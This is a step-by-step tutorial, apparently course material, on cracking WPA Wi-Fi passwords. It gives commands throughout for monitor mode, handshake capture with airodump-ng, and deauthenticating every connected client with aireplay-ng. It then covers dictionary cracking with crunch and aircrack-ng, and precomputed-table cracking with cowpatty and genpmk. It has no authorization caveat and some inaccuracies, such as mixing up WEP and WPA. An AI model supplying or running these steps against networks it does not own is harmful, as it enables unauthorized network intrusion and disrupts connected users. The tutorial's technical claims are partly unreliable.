How to crack WPA networks

This guide will show how to crack a WiFi network protected by a WEP key.

The steps are the following:

1. **Run your network in monitor mode**
2. **Sniff traffic of AP**
3. **Send De-authentication packets in order to capture Handshake**
4. **Cracking network**

Run network in monitor mode

1) Become administrator
    a) **$sudo su**
2) Stop network manager and create and put network card in monitor mode
    a) **$/etc/init.d/network-manager stop**
    b) **$iw dev <<YOUR_NETWORK_CARD_NAME>> interface add wlan0mon type monitor wlan0mon**

Sniff AP Traffic

1) If not present install aircrack-ng
    a. **$sudo apt install aircrack-ng**
2) As administrator run airodump-ng
    a. **$airodump-ng wlan0mon**
3) Look at the AP informations, like channel and bssid, will be useful later
4) Relaunch airodump-ng with more informations
    a. **$airodump-ng -c <<N_CHANNEL>> --bssid <<YOUR_AP_MAC>> -w wpa_capture**

Send De-authentication packets

Since this attack is based on capturing Handshake, we must stimulate the connection from hosts to the AP. So we will de-authenticate all hosts connected to the AP then waiting to their reconnection

1) Send De-authentication packages with aireplay-ng
    a. **$aireplay-ng -0 2 -a <<YOUR_AP_MAC>> wlan0mon**

With the option of aireplay-ng -0 using value 2 will allow the tool to send de-auth packets

Cracking network

For craking a WPA network we could use several ways. In this guide we will exploit two different ways:

1) **Dictionary Attack**
2) **Rainbow table Attack**

Dictionary Attack

In this kind of attack we try to find AP key, basically using a dictionary. We could use either already known dictionary, or simply self-created dictionary

Create Dictionary with crunch

In order to create a dictionary, we can use **crunch** tool

$crunch <min_lenght> <max_lenght> charset [-t <pattern>] -o output

Example of crunch with minimum password length of 5 char and maximum length of 8 char, with lowercase charset:

$crunch 5 8 qwertyuiopasdfghjklzxcvbnm -o dictionary.txt

We can also use a pattern for password creation, example if we know that the password has length of 6 character and also, we know that the password starts with letter “b” we can exploit this information for dictionary generation:

$crunch 6 6 qwertyuiopasdfghjklzxcvbnm -t b@@@@@ -o dictionary

The generated passwords starting with b and will have length of 6 characters!

Using dictionary for cracking

As already said, we can use any kind of password’s dictionary in order to find the password. For this purpose, we will use **aircrack-ng**

$aircrack-ng -w <your_dictionary> capture_file.cap

Online there are some already known dictionary, like john the ripper.

In order to use this dictionary, we must install the package

$**sudo apt install john**

Then using with cracking, example:

$aircrack-ng -w /usr/share/john/password.lst

N.B. In Kali linux there is another dictionary, called rockyou.

The path of this dictionary is **/usr/share/wordlists/rockyou.txt.gz**

Rainbow Table attack

A Rainbow Table attack is an attack on the WPA handshake that will find the **PSK.** This kind of attack is way faster than the dictionary-based attack.

On internet there are some rainbow table, for already known SSIDs. Some example could be found here: https://www.renderlab.net/projects/WPA-tables/

To perform this attack, we will use **cowpatty** tool, if you are using a linux distribution not based on Debian you could find a script "**install_cowpatty_ubuntu.sh**" on course website to install it.

We can use cowpatty with the following command

$cowpatty -d <<rainbow_table>> -r <<capture_file>> -s <<NETWORK_SSID>> -2

Generate rainbow table

Using **genpmk** (a cowpatty tool) we can build a custom rainbow table based on a dictionary. For the generation of this rainbow table we can even use a self-build dictionary.

$genpmk -f <<our_dictionary>> -s <<NETWORK_SSID>> -d <<output_rainbow_table>>